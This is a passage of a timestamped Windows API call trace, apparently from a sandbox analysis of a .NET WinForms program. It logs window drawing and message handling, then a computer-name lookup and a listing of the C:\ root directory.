x=0, y=0, lppt=0x28303e8 | out: lppt=0x28303e8) returned 1 [0129.220] GetNearestColor (hdc=0x2d010b73, color=0xf0f0f0) returned 0xf0f0f0 [0129.221] CreateSolidBrush (color=0xf0f0f0) returned 0x3d100191 [0129.221] FillRect (hDC=0x2d010b73, lprc=0x21c6f0, hbr=0x3d100191) returned 1 [0129.221] DeleteObject (ho=0x3d100191) returned 1 [0129.221] RestoreDC (hdc=0x2d010b73, nSavedDC=-1) returned 1 [0129.221] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.222] GdipReleaseDC (graphics=0x1b10d2b0, hdc=0x2d010b73) returned 0x0 [0129.222] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.222] GdipDeleteGraphics (graphics=0x1b10d2b0) returned 0x0 [0129.222] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x1c080b77 [0129.222] GetWindowPlacement (in: hWnd=0x202fe, lpwndpl=0x21cf40 | out: lpwndpl=0x21cf40) returned 1 [0129.222] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x47, wParam=0x0, lParam=0x21d4e0) returned 0x0 [0129.222] GetClientRect (in: hWnd=0x202fe, lpRect=0x21cce0 | out: lpRect=0x21cce0) returned 1 [0129.222] GetWindowRect (in: hWnd=0x202fe, lpRect=0x21cce0 | out: lpRect=0x21cce0) returned 1 [0129.223] RedrawWindow (hWnd=0x202fe, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0129.223] GetSystemMenu (hWnd=0x202fe, bRevert=0) returned 0x0 [0129.223] GetWindowPlacement (in: hWnd=0x202fe, lpwndpl=0x21d400 | out: lpwndpl=0x21d400) returned 1 [0129.223] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x0) returned 1 [0129.223] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x0) returned 1 [0129.223] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x0) returned 1 [0129.223] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0129.223] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0129.223] SetParent (hWndChild=0x20302, hWndNewParent=0x202fe) returned 0x20304 [0129.223] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0129.223] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0x46, wParam=0x0, lParam=0x21d680) returned 0x0 [0129.225] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0x22, wParam=0x0, lParam=0x0) returned 0x0 [0129.225] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0x47, wParam=0x0, lParam=0x21d680) returned 0x0 [0129.225] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0x3, wParam=0x0, lParam=0x540147) returned 0x0 [0129.225] GetClientRect (in: hWnd=0x20302, lpRect=0x21c4c0 | out: lpRect=0x21c4c0) returned 1 [0129.225] GetWindowRect (in: hWnd=0x20302, lpRect=0x21c4c0 | out: lpRect=0x21c4c0) returned 1 [0129.225] GetParent (hWnd=0x20302) returned 0x202fe [0129.225] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x202fe, lpPoints=0x21c4b0, cPoints=0x2 | out: lpPoints=0x21c4b0) returned -8126589 [0129.225] GetClientRect (in: hWnd=0x20302, lpRect=0x21cec0 | out: lpRect=0x21cec0) returned 1 [0129.225] GetWindowRect (in: hWnd=0x20302, lpRect=0x21cec0 | out: lpRect=0x21cec0) returned 1 [0129.225] GetParent (hWnd=0x20302) returned 0x202fe [0129.225] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x202fe, lpPoints=0x21ceb0, cPoints=0x2 | out: lpPoints=0x21ceb0) returned -8126589 [0129.226] GetParent (hWnd=0x20302) returned 0x202fe [0129.226] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0129.226] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0x46, wParam=0x0, lParam=0x21d680) returned 0x0 [0129.227] GetWindowPlacement (in: hWnd=0x202fe, lpwndpl=0x21d100 | out: lpwndpl=0x21d100) returned 1 [0129.227] GetClientRect (in: hWnd=0x202fe, lpRect=0x21cfb0 | out: lpRect=0x21cfb0) returned 1 [0129.227] GetWindowTextLengthW (hWnd=0x202fe) returned 1 [0129.227] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1 [0129.227] GetSystemMetrics (nIndex=42) returned 0 [0129.228] CoTaskMemAlloc (cb=0x8) returned 0x1ae8e3d0 [0129.228] GetWindowTextW (in: hWnd=0x202fe, lpString=0x1ae8e3d0, nMaxCount=2 | out: lpString="S") returned 1 [0129.228] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0xd, wParam=0x2, lParam=0x1ae8e3d0) returned 0x1 [0129.228] CoTaskMemFree (pv=0x1ae8e3d0) [0129.228] GetClientRect (in: hWnd=0x202fe, lpRect=0x21cd50 | out: lpRect=0x21cd50) returned 1 [0129.228] SelectPalette (hdc=0x2d010b73, hPal=0x1c080b77, bForceBkgd=1) returned 0x188000b [0129.228] GdipCreateFromHDC (hdc=0x2d010b73, graphics=0x21c920) returned 0x0 [0129.228] GdipSetPageUnit (graphics=0x1b10d2b0, unit=0x2) returned 0x0 [0129.228] GdipCreateMatrix (matrix=0x21c810) returned 0x0 [0129.228] GdipGetWorldTransform (graphics=0x1b10d2b0, matrix=0x1b0041a0) returned 0x0 [0129.228] GdipIsMatrixIdentity (matrix=0x1b0041a0, result=0x21c870) returned 0x0 [0129.229] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.229] GdipDeleteMatrix (matrix=0x1b0041a0) returned 0x0 [0129.229] GdipCreateRegion (region=0x21c810) returned 0x0 [0129.229] GdipGetClip (graphics=0x1b10d2b0, region=0x1b039fa0) returned 0x0 [0129.229] GdipIsInfiniteRegion (region=0x1b039fa0, graphics=0x1b10d2b0, result=0x21c840) returned 0x0 [0129.229] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.229] GdipDeleteRegion (region=0x1b039fa0) returned 0x0 [0129.229] GdipSaveGraphics (graphics=0x1b10d2b0, state=0x21c910) returned 0x0 [0129.229] GdipCreateRegion (region=0x21c7e0) returned 0x0 [0129.229] GdipGetClip (graphics=0x1b10d2b0, region=0x1b039fa0) returned 0x0 [0129.230] GdipCreateMatrix (matrix=0x21c7e0) returned 0x0 [0129.230] GdipGetWorldTransform (graphics=0x1b10d2b0, matrix=0x1b07e780) returned 0x0 [0129.230] GdipIsMatrixIdentity (matrix=0x1b07e780, result=0x21c840) returned 0x0 [0129.230] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1ae8bb30 [0129.230] GdipGetMatrixElements (matrix=0x1b07e780, matrixOut=0x1ae8bb30) returned 0x0 [0129.231] LocalFree (hMem=0x1ae8bb30) returned 0x0 [0129.231] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.231] GdipDeleteMatrix (matrix=0x1b07e780) returned 0x0 [0129.231] GdipIsInfiniteRegion (region=0x1b039fa0, graphics=0x1b10d2b0, result=0x21c890) returned 0x0 [0129.231] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.231] GdipDeleteRegion (region=0x1b039fa0) returned 0x0 [0129.231] GdipGetDC (graphics=0x1b10d2b0, hdc=0x21c8c0) returned 0x0 [0129.231] GetCurrentObject (hdc=0x2d010b73, type=0x1) returned 0x1b00017 [0129.231] GetCurrentObject (hdc=0x2d010b73, type=0x2) returned 0x1900010 [0129.231] GetCurrentObject (hdc=0x2d010b73, type=0x7) returned 0x3805018d [0129.232] GetCurrentObject (hdc=0x2d010b73, type=0x6) returned 0x18a002e [0129.232] SaveDC (hdc=0x2d010b73) returned 1 [0129.232] OffsetViewportOrgEx (in: hdc=0x2d010b73, x=0, y=0, lppt=0x2830940 | out: lppt=0x2830940) returned 1 [0129.232] GetNearestColor (hdc=0x2d010b73, color=0xf0f0f0) returned 0xf0f0f0 [0129.232] CreateSolidBrush (color=0xf0f0f0) returned 0x3e100191 [0129.233] FillRect (hDC=0x2d010b73, lprc=0x21c890, hbr=0x3e100191) returned 1 [0129.233] DeleteObject (ho=0x3e100191) returned 1 [0129.233] RestoreDC (hdc=0x2d010b73, nSavedDC=-1) returned 1 [0129.233] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.233] GdipReleaseDC (graphics=0x1b10d2b0, hdc=0x2d010b73) returned 0x0 [0129.233] FindAtomW (lpString="GDI+Atom_3852_1") returned 0xc000 [0129.233] GdipDeleteGraphics (graphics=0x1b10d2b0) returned 0x0 [0129.233] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x1c080b77 [0129.233] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0x47, wParam=0x0, lParam=0x21d680) returned 0x0 [0129.245] GetClientRect (in: hWnd=0x20302, lpRect=0x21cec0 | out: lpRect=0x21cec0) returned 1 [0129.245] GetWindowRect (in: hWnd=0x20302, lpRect=0x21cec0 | out: lpRect=0x21cec0) returned 1 [0129.245] GetParent (hWnd=0x20302) returned 0x202fe [0129.245] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x202fe, lpPoints=0x21ceb0, cPoints=0x2 | out: lpPoints=0x21ceb0) returned -8126589 [0129.245] GetParent (hWnd=0x20302) returned 0x202fe [0129.246] GetWindow (hWnd=0x20302, uCmd=0x3) returned 0x0 [0129.246] GetFocus () returned 0x0 [0129.246] GetParent (hWnd=0x20302) returned 0x202fe [0129.246] GetWindowLongPtrW (hWnd=0x20302, nIndex=-20) returned 0x0 [0129.246] DestroyWindow (hWnd=0x20302) returned 1 [0129.246] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0129.246] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x202fe, Msg=0x210, wParam=0x3020002, lParam=0x20302) returned 0x0 [0129.246] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0129.246] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0x46, wParam=0x0, lParam=0x21d300) returned 0x0 [0129.248] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0x47, wParam=0x0, lParam=0x21d300) returned 0x0 [0129.248] GetClientRect (in: hWnd=0x20302, lpRect=0x21cb40 | out: lpRect=0x21cb40) returned 1 [0129.248] GetWindowRect (in: hWnd=0x20302, lpRect=0x21cb40 | out: lpRect=0x21cb40) returned 1 [0129.248] GetParent (hWnd=0x20302) returned 0x202fe [0129.248] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x202fe, lpPoints=0x21cb30, cPoints=0x2 | out: lpPoints=0x21cb30) returned -8126589 [0129.248] GetParent (hWnd=0x20302) returned 0x202fe [0129.249] GetWindowTextLengthW (hWnd=0x20302) returned 0 [0129.249] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0129.249] GetSystemMetrics (nIndex=42) returned 0 [0129.249] CoTaskMemAlloc (cb=0x6) returned 0x1ae8e3d0 [0129.249] GetWindowTextW (in: hWnd=0x20302, lpString=0x1ae8e3d0, nMaxCount=1 | out: lpString="") returned 0 [0129.249] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0xd, wParam=0x1, lParam=0x1ae8e3d0) returned 0x0 [0129.249] CoTaskMemFree (pv=0x1ae8e3d0) [0129.249] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0129.249] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20302, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0129.251] GetCurrentActCtx (in: lphActCtx=0x21d4a0 | out: lphActCtx=0x21d4a0*=0x358688) returned 1 [0129.252] GetModuleHandleW (lpModuleName=0x0) returned 0x1380000 [0129.252] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.33c0d9d", lpWindowName=0x0, dwStyle=0x56000000, X=327, Y=84, nWidth=100, nHeight=50, hWndParent=0x202fe, hMenu=0x0, hInstance=0x1380000, lpParam=0x0) returned 0x30302 [0129.252] SetWindowLongPtrW (hWnd=0x30302, nIndex=-4, dwNewLong=0x772ab0ac) returned 0xa1175c [0129.252] GetWindowLongPtrW (hWnd=0x30302, nIndex=-4) returned 0x772ab0ac [0129.252] SetWindowLongPtrW (hWnd=0x30302, nIndex=-4, dwNewLong=0xa2267c) returned 0x772ab0ac [0129.253] GetWindowLongPtrW (hWnd=0x30302, nIndex=-4) returned 0xa2267c [0129.253] GetWindowLongPtrW (hWnd=0x30302, nIndex=-16) returned 0x46000000 [0129.253] GetWindowLongPtrW (hWnd=0x30302, nIndex=-12) returned 0x0 [0129.253] SetWindowLongPtrW (hWnd=0x30302, nIndex=-12, dwNewLong=0x30302) returned 0x0 [0129.254] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x30302, Msg=0x81, wParam=0x0, lParam=0x21cb40) returned 0x1 [0129.254] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x30302, Msg=0x83, wParam=0x0, lParam=0x21cbe0) returned 0x0 [0129.254] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x30302, Msg=0x1, wParam=0x0, lParam=0x21cb40) returned 0x0 [0129.254] GetWindow (hWnd=0x30302, uCmd=0x3) returned 0x0 [0129.254] GetClientRect (in: hWnd=0x30302, lpRect=0x21c390 | out: lpRect=0x21c390) returned 1 [0129.254] GetWindowRect (in: hWnd=0x30302, lpRect=0x21c390 | out: lpRect=0x21c390) returned 1 [0129.254] GetParent (hWnd=0x30302) returned 0x202fe [0129.254] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x202fe, lpPoints=0x21c380, cPoints=0x2 | out: lpPoints=0x21c380) returned -8126589 [0129.255] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x30302, Msg=0x5, wParam=0x0, lParam=0x320064) returned 0x0 [0129.255] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x30302, Msg=0x3, wParam=0x0, lParam=0x540147) returned 0x0 [0129.255] GetClientRect (in: hWnd=0x30302, lpRect=0x21c490 | out: lpRect=0x21c490) returned 1 [0129.255] GetWindowRect (in: hWnd=0x30302, lpRect=0x21c490 | out: lpRect=0x21c490) returned 1 [0129.255] GetParent (hWnd=0x30302) returned 0x202fe [0129.255] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x202fe, lpPoints=0x21c480, cPoints=0x2 | out: lpPoints=0x21c480) returned -8126589 [0129.255] SendMessageW (hWnd=0x30302, Msg=0x2210, wParam=0x3020001, lParam=0x30302) returned 0x0 [0129.255] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x30302, Msg=0x2210, wParam=0x3020001, lParam=0x30302) returned 0x0 [0129.255] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x30302, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0129.256] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x30302, Msg=0x46, wParam=0x0, lParam=0x21cbc0) returned 0x0 [0129.257] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x30302, Msg=0x47, wParam=0x0, lParam=0x21cbc0) returned 0x0 [0129.257] GetClientRect (in: hWnd=0x30302, lpRect=0x21c400 | out: lpRect=0x21c400) returned 1 [0129.257] GetWindowRect (in: hWnd=0x30302, lpRect=0x21c400 | out: lpRect=0x21c400) returned 1 [0129.257] GetParent (hWnd=0x30302) returned 0x202fe [0129.257] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x202fe, lpPoints=0x21c3f0, cPoints=0x2 | out: lpPoints=0x21c3f0) returned -8126589 [0129.257] GetParent (hWnd=0x30302) returned 0x202fe [0129.258] GetParent (hWnd=0x30302) returned 0x202fe [0129.258] GetParent (hWnd=0x30302) returned 0x202fe [0129.453] CoTaskMemAlloc (cb=0x204) returned 0x1ae90140 [0129.453] GetComputerNameW (in: lpBuffer=0x1ae90140, nSize=0x21d9f8 | out: lpBuffer="Q9IATRKPRH", nSize=0x21d9f8) returned 1 [0129.453] CoTaskMemFree (pv=0x1ae90140) [0129.483] GetLogicalDrives () returned 0x4 [0130.256] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x21d350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0130.257] SetErrorMode (uMode=0x1) returned 0x0 [0130.266] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x21d4f0 | out: lpFindFileData=0x21d4f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x2fe5d0 [0130.268] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0130.268] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0130.269] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0130.269] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0130.269] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x7098ee60, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0130.269] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0130.270] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x70ee9fe0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0130.270] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0130.270] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xda4f37b0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xda4f37b0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0130.270] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1434c8c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0130.271] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3e07f080, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3e07f080, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0130.271] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0130.271] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xbd8bb9c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbd8bb9c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0130.271] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0130.272] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xda6966d0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xda6966d0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0130.272] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xda6966d0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xda6966d0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0130.272] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.274] SetErrorMode (uMode=0x0) returned 0x1 [0130.274] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x21d350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0130.275] SetErrorMode (uMode=0x1) returned 0x0 [0130.275] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x21d4f0 | out: lpFindFileData=0x21d4f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x2fe5d0 [0130.275] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, 